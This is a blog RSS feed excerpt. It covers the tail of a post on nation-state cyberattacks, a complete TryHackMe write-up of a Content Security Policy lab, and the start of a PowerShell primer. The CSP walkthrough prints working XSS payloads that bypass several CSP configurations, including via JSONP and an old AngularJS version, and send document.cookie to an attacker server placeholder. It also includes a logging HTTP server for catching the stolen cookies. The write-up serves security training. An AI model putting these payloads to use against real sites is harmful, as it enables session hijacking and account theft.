href="https://www.darkreading.com/cyberattacks-data-breaches/inside-the-aftermath-of-the-saudi-aramco-breach">https://www.darkreading.com/cyberattacks-data-breaches/inside-the-aftermath-of-the-saudi-aramco-breach</a></li><li><strong>MABNA</strong> , <strong>2014 Las vegas casino attacks</strong>: Shelden Adelson , the CEO of the Venetian casino, a staunch supporter of Israel, made a statement which got recorded and released , at a Jewish university event in New York. He said he would not support negotiations with Iran, and suggested that US should nuke Iran’s desert as a warning that the next one could be at their capital. This likely, caught the attention of the IRGC as the events to follow would indicate. A few months after this , the IT team in the bethlehem division began to notice recon and attrition activity in the network which theyh managed to dissipate, but nonetheless, the attackers persisted and managed to breach a staging server for the initial access and network. They were able to laterally move and elevate privileges. Once this foothold was gained, they released a VB malware which began wiping data, crashing the computers.</li><li><a href="https://darknetdiaries.com/episode/37/">https://darknetdiaries.com/episode/37/</a></li><li><a href="https://money.cnn.com/2015/02/27/technology/security/iran-hack-casino/index.html">https://money.cnn.com/2015/02/27/technology/security/iran-hack-casino/index.html</a></li><li><a href="https://arstechnica.com/information-technology/2014/12/iranian-hackers-used-visual-basic-malware-to-wipe-vegas-casinos-network/">https://arstechnica.com/information-technology/2014/12/iranian-hackers-used-visual-basic-malware-to-wipe-vegas-casinos-network/</a></li></ul><h3>China</h3><p>The Chinese government on the direction and vision of Ye Jianying (founder of PLA), established and developed programs for cyberwarfare as early as the 1970s. In 1979, the PLA Electronic Engineering College was established which trained people in bypassing and blocking radar communication. These made China one of the first nations to invest and develop cyberwarfare capabilities. Motivated by intellectual theft, China has been growing its cyberwarfare capabilities and engaging in espionage since the early 2000s.</p><ul><li><a href="https://en.wikipedia.org/wiki/Titan_Rain"><strong>Titan rain</strong></a>: In 2003, the nation state actor began an advanced espionage attack against the US DoD. An analyst at Sandia National Laboratories, Shawn Carpenter, noticed suspicious activity. Shawn identified the attack as an espionage attempt to steal military classified documents , specifically aerospace themed information, fighter jet design and capability. The investigation led Shawn to conclude that the attack had originated from China, with intent to use the stolen information to build similar jets. The years and time spent by the US to develop these, were now in the knowledge of the Chinese nation-state allowing them to replicate it with a successful cyber espionage.</li><li><a href="https://www.cfr.org/cyber-operations/titan-rain">https://www.cfr.org/cyber-operations/titan-rain</a></li><li><a href="https://www.youtube.com/watch?v=_atXkztpz6s">https://www.youtube.com/watch?v=_atXkztpz6s</a></li><li><strong>Hidden Lynx</strong>: Between 2011–2012, Hidden Lynx targeted organizations associated with the US DoD which received substantial media visibility. An endpoint protection firm Bit9, was also targeted, and Hidden Lynx managed to steal digital certificates and learn about the network and environment via a phishing attack vector. Instead of a blacklist based on malware signatures, Bit9 uses whitelisting to allow files and applications on the system — with the certificates now compromised, the attackers could whitelist any file of their choosing. Hidden Lynx was also responsible for another espionage attack termed VOHO, in which they used the waterholing technique i.e strategically designing placing malware/malvertise or taking over legitimate websites that would draw visitors from the target and subsequentially placing backdoors on visitor’s endpoints.</li><li><a href="https://www.darkreading.com/cyberattacks-data-breaches/chinese-hidden-lynx-hackers-launch-widespread-apt-attacks">https://www.darkreading.com/cyberattacks-data-breaches/chinese-hidden-lynx-hackers-launch-widespread-apt-attacks</a></li><li><a href="https://arstechnica.com/information-technology/2013/09/meet-hidden-lynx-the-most-elite-hacker-crew-youve-never-heard-of/">https://arstechnica.com/information-technology/2013/09/meet-hidden-lynx-the-most-elite-hacker-crew-youve-never-heard-of/</a></li><li><strong>Black Vine Anthem Hack , 2015</strong>: The January of 2014 brought with it some troubling news to a system administrator working for Anthem, one of the largest health insurance providers — He discovered that someone had access to his account and used it to aggregate and exfiltrate sensitive customer data which are classified as PII (Personal Identifiable Information) amounting to millions of customers. TrendMicro and Symantec coined the term BlackVine for the attackers behind this attack, attributing the origin to SouthEast Asia. Initially it was thought to be a financially motivated attack, but it was soon revealed that the attack’s true motives were more aligned with those cyber espionage. Anthem provided healthcare benefits to US federal employees and background checks relating to security clearance for US citizens. Corelating the data from these two sources (healthcare and security clearance), the attackers were able to collate a list of individuals they believed to be CIA operatives. Anthem is one more victim to add to the list of targets of nation-state actors which aren’t government or defense related.</li><li><a href="https://www.zdnet.com/google-amp/article/black-vine-anthem-hackers-share-zero-days-with-rival-cyberattackers/">https://www.zdnet.com/google-amp/article/black-vine-anthem-hackers-share-zero-days-with-rival-cyberattackers/</a></li><li><a href="https://arstechnica.com/information-technology/2015/07/group-that-hacked-anthem-shared-weaponized-0-days-with-rival-attackers/">https://arstechnica.com/information-technology/2015/07/group-that-hacked-anthem-shared-weaponized-0-days-with-rival-attackers/</a></li><li><a href="https://www.csoonline.com/article/552275/symantec-wellheeled-hacking-group-black-vine-behind-anthem-breach.html">https://www.csoonline.com/article/552275/symantec-wellheeled-hacking-group-black-vine-behind-anthem-breach.html</a></li><li><a href="https://attack.mitre.org/groups/G0006/"><strong>APT1</strong></a> Unit 61398 , is an unit within the PLA which was discovered by Mandiant , a private company as part of their <a href="https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf">research</a>, in which they highlighted a espionage operation by China spanning years. The report outed the different malware tools and techniques used by this unit — This was a novel level of research which was previously only done by government and state funded operations. In addition to this Mandiant was able to provide satellite photos in which the attackers worked out of. Once the security vendors began implementing defense based on the findings of the report and defend against the group. The nation state threat actor termed APT1 had to cease operations based on findings of a private firm, in one of the first of its kind events. The US DoJ issued indictments against the PLA operators involved in espionage operations.</li><li><a href="https://www.mandiant.com/resources/reports/apt1-exposing-one-chinas-cyber-espionage-units">https://www.mandiant.com/resources/reports/apt1-exposing-one-chinas-cyber-espionage-units</a></li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-275a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-275a</a></li></ul><h3>United States</h3><p>Out of all the nation state actors, the US has been the most successful in avoiding public limelight and attention. This did change in 2013 with the Snowden leaks, and subsequently in 2015 when US declassified and released documents providing insight into the US espionage operations.</p><ul><li><a href="https://en.wikipedia.org/wiki/Equation_Group"><strong>Equation group</strong></a>: Kaspersky’s GREAT (Global Research and Analysis Team) published a paper in 2015 titled, “The Equation Group” which they used to refer to a nation-state espionage group. The group had been around since early 2001, and had ties to the NSA which was supported by NSA codewords found with the Malware produced by the Equation group. This group was found responsible for 500 operations across 42 countries. The groups surgical precision and attention to detail, and are notable at exploiting critical operating system and firewall flaws. Besides WannaCry, EternalBlue and DoublePulsar, this group was found to be behind the Stuxnet malware/worm which is discussed next.</li><li><a href="https://www.kaspersky.com/about/press-releases/2015_equation-group-the-crown-creator-of-cyber-espionage">https://www.kaspersky.com/about/press-releases/2015_equation-group-the-crown-creator-of-cyber-espionage</a></li><li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/equation_group">https://malpedia.caad.fkie.fraunhofer.de/actor/equation_group</a></li><li><a href="https://www.techtarget.com/searchsecurity/blog/Security-Bytes/The-Equation-Group-malware-mystery-Kaspersky-offers-an-explanation">https://www.techtarget.com/searchsecurity/blog/Security-Bytes/The-Equation-Group-malware-mystery-Kaspersky-offers-an-explanation</a></li><li><a href="https://en.wikipedia.org/wiki/Stuxnet"><strong>Stuxnet </strong></a>: The most devastating of cyber attacks in the modern world, the US was suspected to work with Israel to sabotage the Iran’s nuclear program. US and Israel have long opposed Iran’s reach to become a nuclear power state. Stuxnet a devastating cyberweapon, often dubbed the world’s first digital weapon, has been in development by the CIA , working closely alongside Israel. It is suspected that this has been in development as early as 2004. It used <strong>4 zero-day</strong> exploits to breach the Natanz FEP (fuel enrichment plant), center of Iran’s nuclear program to hamper their Uranium enrichment and since Iran has a relatively limited supply of Uranium, it could delay it’s nuclear development program by years. In May of 2010, the stuxnet malware’s latest version being deployed by an intentional insider (suspected via USB) deployed it to the air gapped network of Natanz. The centrifuges spun out of control, their PLCs which interacted with the Windows OS using a software were rebooting randomly. Stuxnet was a worm, which meant it could spread infinitely using the network and infect device after device.<br>The US emerged as the main suspect behind the attack after source code was analyzed, and the intent behind the attack was understood. The attack temporarily slowed Iran’s nuclear development program and the US continues to conduct cyberattacks against Iran as late as 2019, with attack on the oil tankers in the Strait of Hormuz.<br>The Stuxnet worm however didn’t stop at the Natanz nuclear facility, it spread eventually spreading onto different regions of Iran and eventually across the globe and it was no longer contained. Symantec discovered this and published a report and Iran learns of this. Over the next years, every prominent scientist on Iran’s nuclear program is assassinated, including the Director of Natanz Nuclear Program.</li><li><a href="https://www.csoonline.com/article/562691/stuxnet-explained-the-first-known-cyberweapon.html#:~:text=Stuxnet%20is%20a%20powerful%20computer,about%20its%20design%20and%20purpose">https://www.csoonline.com/article/562691/stuxnet-explained-the-first-known-cyberweapon.html#:~:text=Stuxnet%20is%20a%20powerful%20computer,about%20its%20design%20and%20purpose</a>.</li><li><a href="https://www.youtube.com/watch?v=nd1x0csO3hU">https://www.youtube.com/watch?v=nd1x0csO3hU</a></li><li><a href="https://darknetdiaries.com/episode/29/">https://darknetdiaries.com/episode/29/</a></li><li><a href="https://nordvpn.com/blog/stuxnet-virus/">https://nordvpn.com/blog/stuxnet-virus/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bba21b2c7c84" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CSP Lab Writeup — TryHackMe]]></title>
            <link>https://the-dark-lord.medium.com/csp-lab-writeup-tryhackme-819b27b30119?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/819b27b30119</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[content-security-policy]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Sun, 26 Nov 2023 22:26:13 GMT</pubDate>
            <atom:updated>2024-02-05T18:10:35.303Z</atom:updated>
            <content:encoded><![CDATA[<h3>CSP Lab Writeup — TryHackMe</h3><h3>What is CSP?</h3><p>CSP or content security policy are a set of policies which the web browser adheres to while loading content or executing scripts. The policies can be set at the granular type of content or on all content/scripts, and also supports integrity check on loaded content. It is an extra line of defense against XSS attacks, but should not be used as the sole defense, and the xss vulnerability should be patched as and when discovered.</p><p>Content Security Policy is a security mechanism to block attacker injected scripts. Content Security Policy <strong>disallows ALL inline javascript</strong> (and requiring you to make whitelists of external URLs that you load javascript from.) The easy way to remember this is that when the CSP header is specified, CSP acts as a whitelist. CSP may also be added to the page using a meta tag, instead of the response headers.</p><p>CSP is basically a sort of last line defense, when XSS manages to seep past the sanitization and other filters to prevent the attack from succeeding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*OzCD2MezANTPYgwVNbJu9g.jpeg" /><figcaption>CSP vs a RCE inducing XSS</figcaption></figure><h3>The exercise</h3><p>The room is a Series of 7 attack and 3 Defense Labs at <a href="https://tryhackme.com/room/csp">https://tryhackme.com/room/csp</a> preceded by conceptual questions. I would recommend jumping straight to the labs if you are aware of the CSP policy structure and the common directives. The conceptual quiz is very strict in terms of whitespaces in answers and can be somewhat frustrating to clear. This is a premium room, so it might be only available to people with a THM subscription.</p><p>For this Lab, it is important to have basic understanding of CSP policy structure and can be reviewed at <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP</a> for examples and understanding basic CSP structure. It also provides a playground where you can try your own csp policies and attempt to bypass it.</p><h3>Setting up the server</h3><p>I setup a simple HTTP server using python which I have used in other challenges as well. Make sure you’re reachable from the machine you’re attacking(run the server on the vpn interface specifically to avoid exposing it to the internet)</p><p>The server code I used for reference is as follows:</p><pre>import http.server as SimpleHTTPServer<br>import socketserver as SocketServer<br>import logging<br>​<br>PORT = 8087<br>​<br>class GetHandler(<br>        SimpleHTTPServer.SimpleHTTPRequestHandler<br>        ):<br>​<br>    def do_GET(self):<br>        logging.error(self.headers)<br>        SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)<br>​<br>​<br>Handler = GetHandler<br>httpd = SocketServer.TCPServer((&quot;&quot;, PORT), Handler)<br>​<br>httpd.serve_forever()</pre><p>Change the IP from “” to the vpn interface IP if you don’t want the server to run on all interfaces. In addition to this you may setup a proxy or any suitable way to view the request response headers to understand the CSP policy (CSP may also be set by meta tags in HTML)</p><h3>Attack Challenges</h3><p>The attack challenges involve us to notice the CSP policy of the web page, and exploit the XSS vulnerability and bypass increasing difficulty of CSP policies.</p><h3>Attack-1</h3><p>The first lab is very straightforward and just aids in testing of our python server. There is no effective CSP in play here, and we can just exfiltrate the cookie using a simple payload. We get the flag when the admin account bot logs in and executes the persistent XSS</p><pre>&lt;script&gt;fetch(`http://{SERVER-IP:PORT}/${document.cookie}`)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EdEDo-qP6iciA9rnDvuVfw.png" /><figcaption>Flag for Attack Challenge — 1</figcaption></figure><h3>Attack-2</h3><p>On inspecting the content security headers we notice the following:</p><pre>Content-Security-Policy: default-src *; style-src &#39;self&#39;; script-src data:</pre><p>Data is a scheme source, and from the official documentation at <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/Sources">here</a>, we note that data should not be used for scripts as the attacker might inject a script there. This means that we cannot execute “inlinescripts” like what we did in the scenario before, we can’t even use a script that is loaded from the same domain or subdomain, BUT we can load a script SRC with the data URI scheme.</p><p>So we won’t be able to use the dataURI xss inline or in any other embedded element. The scheme-source is a filter which restricts the scheme to be data: , and so the payload structure would be like</p><pre>&lt;script src=&quot;data:;base64,ZmV0Y2goYGh0dHA6Ly9JUDpQT1JULyR7ZG9jdW1lbnQuY29va2llfWAp&quot;&gt;&lt;/script&gt;</pre><p>So, we test this and we are able to execute the script, now we just need to encode our original payload and put it there. Even if browser blocks the CORS, since you control the target website, you can either allow cors, or still see the initial request made to your website in the logs. Once we deliver the payload we get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxoTxUzewf4piUXdidlUbg.png" /><figcaption>Flag for attack challenge 2</figcaption></figure><h3>Attack-3</h3><p>The content security headers for this challenge are:</p><pre>default-src &#39;none&#39;; img-src *; style-src &#39;self&#39;; script-src &#39;unsafe-inline&#39;</pre><p>The script-src says ‘unsafe-inline’, and default-src is ‘none’ for any other element which hasn’t been specified explicitly. According to the documentation and ‘unsafe-inline’ allows us to specify javascript: URLs, inline event handlers, and inline <strong>&#39;&lt;style&gt;&#39;</strong> elements.</p><p>CSP by default disallows all inline scripts. Here we are allowing inline scripts, so we can execute inline scripts.</p><p>So we can execute the simple inline script, but it won’t allow us to fetch a remote resource</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p><strong>Attempt-1: Fail</strong></p><p>Here, the fetch() fails (Used in earlier payloads) <strong>due to it being a resource and the default-src is NONE</strong>. The script src does not mention any</p><pre>&lt;script&gt;fetch(`http://{SERVER:IP}/${document.cookie}`)&lt;/script&gt;</pre><p>For this challenge we have inline elements , but we need some element where we don’t run into the default-src. By reading the rule we know we can execute javascript, but the ‘fetch()’ will be blocked unless it matches a relaxed rule</p><p>So, we need to execute script within an image context. we could do onerror , but for my first attempt I decided to use javascript:alert(1)format, and used this payload</p><p><strong>Attempt-2: Fail</strong></p><pre>&lt;img src=&quot;javascript:fetch(`http://{SERVER:IP}/${document.cookie}`)&quot;/&gt;</pre><p>But that doesn’t work as javascript isn’t allowed inside static resources. So I need to try something else.</p><p><strong>Attempt-3: Success</strong></p><p>One way to do it is to modify after the img tag has loaded and modify the source via the unsafe-inline script</p><pre>&lt;IMG id=&quot;abc&quot; src=&quot;&quot;/&gt;<br>&lt;script&gt;document.getElementById(&#39;abc&#39;).src=&quot;http://{SERVER:IP}/&quot; + document.cookie&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*LQIGoPOCNVvcVE-HHwwwIQ.png" /><figcaption>Flag for attack challenge 3</figcaption></figure><h3>Attack-4</h3><p>The content security headers for this challenge are</p><pre>default-src &#39;none&#39;; style-src * &#39;self&#39;; script-src &#39;nonce-abcdef&#39;</pre><p>So the first thing to notice is that the nonce is repeating with subsequent requests, which can be determined by Burp Sequencer or repeater as constant and not changing. So we can execute script as long as we have the correct nonce. This nonce needs to be unique and non-repeating, which isn’t the case here. We can just execute the inline script with a nonce, but remember we cannot load other resource via FETCH, as that will get blocked by “default-src”. (PS: SOP can be overcome if we have the CORS preflight enabled on our server).</p><p>So one way is to use the <strong>window.open</strong> and bypass this restriction</p><pre>&lt;script nonce=&quot;abcdef&quot;&gt;<br>window.open(`http://IP:PORT/${document.cookie}`)<br>&lt;/script&gt;</pre><p>The other way is to use the relaxation on the <strong>style-src</strong>. We could load a link rel stylesheet, and change the ‘src’ property to a GET request by the script after the element has finished loading.</p><pre>&lt;link id=&quot;changeme&quot; src=&quot;&quot;<br>&lt;script nonce=&quot;abcdef&quot;&gt;<br>document.getElementById(&quot;changeme&quot;).src=&#39;http://{server:Port}/&#39;+document.cookie&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*cRr7fMSORsgxZ3AXmD9uOg.png" /><figcaption>Flag for attack challenge 4</figcaption></figure><h3>Attack-5</h3><p>The content security headers for this challenge are</p><pre>default-src &#39;none&#39;; style-src &#39;self&#39;; img-src *; script-src &#39;unsafe-eval&#39; *.google.com</pre><p>The thing that immediately catches our attention is that we can execute scripts no where inline on the page, but we can execute it as long as the script is loading from a google subdomain, and the images can load from anywhere. So our plan of attack vector is to execute a malicious script as long as it loads from a google.com subdomain, and call our web page using the img src with the document cookie.</p><h4>Brief overview of JSONP</h4><p>Here we will use a JSONP callback to exploit this. JSONP is a predecessor to CORS, and allowed a site’s scripts to communicate with other origins and works when loading a script element. The server or endpoint serving the JSONP returns a function that is agreed upon by the server and client. The client is the site/origin loading the JSONP endpoint, and the endpoint/server serving the JSONP is interpreted by the browser. This can lead to security complications, as not only it forces the client to trust the callback being sanitized (returned by the server), it also can compromise the security of server serving the JSONP endpoint (as attacker can cause cookies to be sent to JSONP endpoint and then attacker can process the callback and extract cookies).</p><p><strong>Resources on JSONP</strong></p><ul><li><a href="https://www.sitepoint.com/jsonp-examples/">https://www.sitepoint.com/jsonp-examples/</a></li><li><a href="https://infosecwriteups.com/exploiting-jsonp-and-bypassing-referer-check-2d6e40dfa24">https://infosecwriteups.com/exploiting-jsonp-and-bypassing-referer-check-2d6e40dfa24</a></li></ul><p>This is an excellent resource for identifying open JSONP <a href="https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt">endpoints</a></p><p>We will use one of the open JSONP endpoints. Note that these URLs won’t be processed in the browser URL only within a script context. Since JSONP are processed onload (src element), these are not restricted by SOP. One thing to note is that <strong>not every JSONP endpoint</strong> will allow you to pass any or every unsanitized character into the callback function.</p><p>For starters, we pick the JSONP endpoint</p><pre>&lt;script src=&quot;https://accounts.google.com/o/oauth2/revoke?callback=alert(1)&quot;&gt;&lt;/script&gt;</pre><p><strong>Attempt-1:Fail</strong></p><p>This fails, on the likely cause that ‘$’ is not being allowed on that JSONP endpoint</p><pre>&lt;img id=&quot;abc&quot; src=&quot;http://{SERVER:IP}/&quot;/&gt;&lt;script src=&quot;https://accounts.google.com/o/oauth2/revoke?callback=document.getElementById(&#39;abc&#39;).src+=${document.cookie}&quot;&gt;&lt;/script&gt;</pre><p><strong>Attempt-2: Success</strong></p><p>Using the window.open, we can avoid tinkering with the img tag and achieve our objective</p><pre>&lt;script src=&quot;https://accounts.google.com/o/oauth2/revoke?callback=window.open(`http://{SERVER:IP}/${document.cookie}`)&quot;&gt;&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*BdpWuMsOXmWIrnnsL6xyJA.png" /><figcaption>Flag for attack challenge 5</figcaption></figure><h3>Attack-6</h3><p>The CSP headers for this challenge are:</p><pre>default-src &#39;none&#39;; img-src *; style-src &#39;self&#39;; script-src &#39;unsafe-eval&#39; cdnjs.cloudflare.com</pre><p>The crux of this challenge is exploiting weak libraries hosted by the cdnjs.cloudlfare.com (or any CDN). CDNs such as these also store older versions of JS libraries which are prone to xss. We need to execute script in context of HTML and not exploit say (weak sanitization of inline html/prefilter etc). This can be done by exploiting Angular JS.</p><p>The exploit is in version 1.0.1 of angular JS and hosted by the whitelisted CDN cloudflare domain within an angular element</p><pre>{{$on.curry.call().alert(&#39;XSS&#39;)}}</pre><p>We need two of the files hosted by the cloudflare CDN for this to work.</p><pre>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js&quot; /&gt;&lt;/script&gt;</pre><p>We will use the exploit to change the src of the img attribute and get the cookie , like in earlier challenges.</p><p><strong>Attempt-1: Fail</strong></p><p>“$” not interpreted in context of Angular JS so the payload format we had used in earlier exploits does not work</p><pre>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js&quot; /&gt;&lt;/script&gt;<br>&lt;img id=&quot;abc&quot; src=&quot;&quot;/&gt;<br>&lt;div ng-app ng-csp&gt;<br> {{$on.curry.call().window.open(`http://{SERVER:IP}/${document.cookie}`)}}<br>&lt;/div&gt;</pre><p><strong>Attempt-2: Success</strong></p><p>We change the img tag using the vulnerable code and are able to make it work.</p><p>(Note: Sometimes successful payloads can fail to trigger the admin bot and the exploit, so restart the machine if the exploits aren’t working ). I noticed that for some reason the GET request gets concatenated in the img src</p><pre>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js&quot;&gt;&lt;/script&gt;<br>&lt;img id=&#39;abc&#39; src=&quot;http://{SERVER:IP}/&quot;/&gt;<br>&lt;div ng-app ng-csp&gt;<br>  {{$on.curry.call().eval(&quot;document.getElementById(&#39;abc&#39;).src+=document.cookie&quot;)}}<br>&lt;/div&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N8WMZdnDl9OMjLQtDpM-aQ.png" /><figcaption>Flag for attack challenge 6 (repeats for some reason)</figcaption></figure><p>The CSP headers for this challenge are</p><pre>default-src &#39;none&#39;; media-src *; style-src &#39;self&#39;; script-src &#39;self&#39;</pre><p>Here we need to exploit the media src. The script-src says self, so we can basically not execute inline scripts, just load it on the srcs from the origin of the website. From the documentation: “<em>The HTTP </em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy"><em>Content-Security-Policy</em></a><em> (CSP) </em><strong><em>media-src</em></strong><em> directive specifies valid sources for loading media using the &lt;audio&gt; and &lt;video&gt; element tags</em>&quot;</p><p>So we can load the media from any src, but our hands are pretty much tied with inline script injection. But we can load scripts from relative URLs like “/sourcefolder/scripts”.</p><p>So if we try the JSONP endpoint injection like we did in <strong>lab 5</strong>, we won’t succeed as the media type rejects “text/html” with the message-&gt; <em>HTTP “Content-Type” of “text/html” is not supported.</em></p><p>There is a way however to inject script into the source tag as long as it begins with a relative URL in this case. This forms our base payload.</p><pre>&lt;script src=&quot;/&#39;;alert(1);&#39;&quot;&gt;&lt;/script&gt;</pre><p>Now, to overcome the next obstacle, sending the cookie to our controlled server.</p><p><strong>Attempt-1: Success</strong></p><p>I tried using the window.open method to bypass the resource restriction we encounter when we use ‘fetch’</p><pre>&lt;script src=&quot;/&#39;;window.open(&#39;http://{SERVER:IP}/&#39;+document.cookie);&#39;&quot;&gt;&lt;/script&gt;</pre><p>We can do it using the Audio tag as well</p><p><strong>Attempt-2: Success</strong></p><pre>&lt;script src=&quot;/&#39;;new Audio(&#39;http://{SERVER:IP}/&#39;+document.cookie);&#39;&quot;&gt;&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*isKfQLB5GZZiy_Y-2Dortw.png" /><figcaption>Flag for challenge 7</figcaption></figure><p>With this the attack challenges come to a conclusion. I spent most time on Challenge 6, as it took me a while to figure out which of the vulnerable libraries hosted can be exploited.</p><h3>Defense Challenges</h3><p>In these set of challenges we have to create a set of rules which can allow for certain scripts to run while safely blocking others. To get a sense of what scripts we are supposed to run on the page, we need to check the source code. Next we devise a policy which can restrict everything but those scripts from running successfully on our page.</p><h3>Defense-1</h3><p>The first challenge just asks us to block all the scripts which do not belong to the origin. So I go simple, and just put all default-src to self and it works.</p><pre>default-src &#39;self&#39;</pre><h3>Defense-2</h3><p>The second challenge we see that we have a style loading in from our origin, while an inline script loading with a constant nonce. So we need to whitelist that nonce while blocking everything else</p><pre>default-src &#39;self&#39;; script-src &#39;nonce-ae3b00&#39;</pre><h3>Defense-3</h3><p>We have to allow an inline script to run, which does not have a nonce, nor does it load from a whitelisted /trusted source. So I just generated the hash of the script using the <a href="https://report-uri.com/home/hash">report-uri tool</a>. Generate the hash of the inline script we want to allow to run.</p><pre>default-src &#39;none&#39;;style-src &#39;self&#39;; script-src &#39;sha256-8gQ3l0jVGr5ZXaOeym+1jciekP8wsfNgpZImdHthDRo=&#39;</pre><h3>Supporting Resources</h3><p><strong>Payloads</strong></p><ul><li><a href="https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3">XSS CSP Resource</a></li><li><a href="#">CSP Cheat Sheet by 0xn3va</a></li><li><a href="https://github.com/cyberheartmi9/PayloadsAllTheThings/blob/master/XSS%20injection/README.md?plain=1">Payloads of All the things</a></li><li><a href="https://hacktricks.boitatech.com.br/pentesting-web/content-security-policy-csp-bypass">hacktricks CSP</a></li></ul><p><strong>CSP Resources</strong></p><ul><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP Mozilla</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting/content-security-policy">CSP PortSwigger</a></li></ul><h3>Conclusion</h3><p>Hope this blog helped you in understanding the CSP room, and the general concept of ContentSecurityPolicy. If you do find better solutions, or find any mistakes , feel free to use the medium comment section. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=819b27b30119" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting started with Powershell]]></title>
            <link>https://the-dark-lord.medium.com/getting-started-with-powershell-719ca5cb123a?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/719ca5cb123a</guid>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[powershell-script]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Sun, 03 Sep 2023 21:35:26 GMT</pubDate>
            <atom:updated>2023-09-18T15:10:59.430Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a blog that was born out of polishing part of my personal notes on powershell while learning it for Windows Security. This will cover the basics briefly, and the idea is to get you quickly started in learning the red-teaming and blue-teaming tactics via Powershell. If you have a good amount of programming experience, the basic commands would be pretty intuitive. If that is the case with you , skip to the “advanced functions and cmdlet” section</p><p>I have found that powershell is just one of those languages which when I come back to it, I tend to forget a good chunk of how things work — Hence I wrote this to serve as my quick reference and help others</p><h3>Overview</h3><p>Powershell is a powerful shell and scripting language present on Windows 7 and above. Based on the .NET framework, and trusted by countermeasures (AV solutions) and administrators. It can and has been often used by threat actors for nefarious purposes in the wild. It is a quintessential tool to know when pentesting windows systems and AD environments.</p><p>Understanding the basics of powershell, and powershell pentesting is one of the key cornerstones of windows security of systems starting from Windows 7 from both red and blue team security perspectives.</p><h3>1. Basic commands</h3><ul><li><strong>Help command</strong> Get-Help *regex</li><li><strong>Get-command</strong> (commands installed on system) Get-Help Get-command Get-Command Lists Commands installed on the system. (Usually a large list of commands) Get-Help {Command} -Parameter * | more Lists parameters required for command Get-Command -CommandType cmdlet -Name *process* Commands which are of type cmdlet which have process in their name Get-Command -CommandType cmdlet | Measure-Object Count the no of cmdlet commands Get-Command -Verb stop Search for verb stop in commands</li><li>Cmdlet is often used for powershell commands. According to microsoft , <em>A cmdlet is a lightweight command that is used in the PowerShell environment. The PowerShell runtime invokes these cmdlets within the context of automation scripts that are provided at the command line. The PowerShell runtime also invokes them programmatically through PowerShell APIs.</em></li><li><strong>Get-Process/Get-Service</strong> Get running processes and services.</li><li><strong>Start/Stop</strong> process Start-process Get-process lssass | stop-process Some powershell functions return objects instead of strings, so the output of &#39;Get-process&#39; can directly be passed on to stop-process (in bash, we would need to cut,awk or parse the value id out of the output before being passed)</li><li><strong>Output formatting</strong> Get-ChildItem | Format-table * Format output to a table Get-ChildItem | Format-List * formats the objects returned into a list (more-detailed) Get-Command -CommandType cmdlet -Name Format* List commands related to formatting Get-Command -CommandType cmdlet -Name Out* List commands related to output (redirecting output) Get-Process | Out-File -FilePath C:\Users\Admin\test1.txt (redirect output to a file)</li></ul><p><strong>Overview of Operators</strong></p><ul><li>Arithmetic: _,-,*,%</li><li>Assignment: =,+=,-=,*=,/=,%=</li><li>Comparison: -ne,-eq,-gt,-lt,-ge,-le,-match,-notmatch,-like,-notlike,-in,-notin,-contains,-notcontains (Note that -eq does a case insensitive comparison of two strings, -ceq is the string check for the case sensitive strings)</li><li>Redirection: &gt;,&gt;&gt;,2&gt;,2&gt;&amp;1</li><li>String: 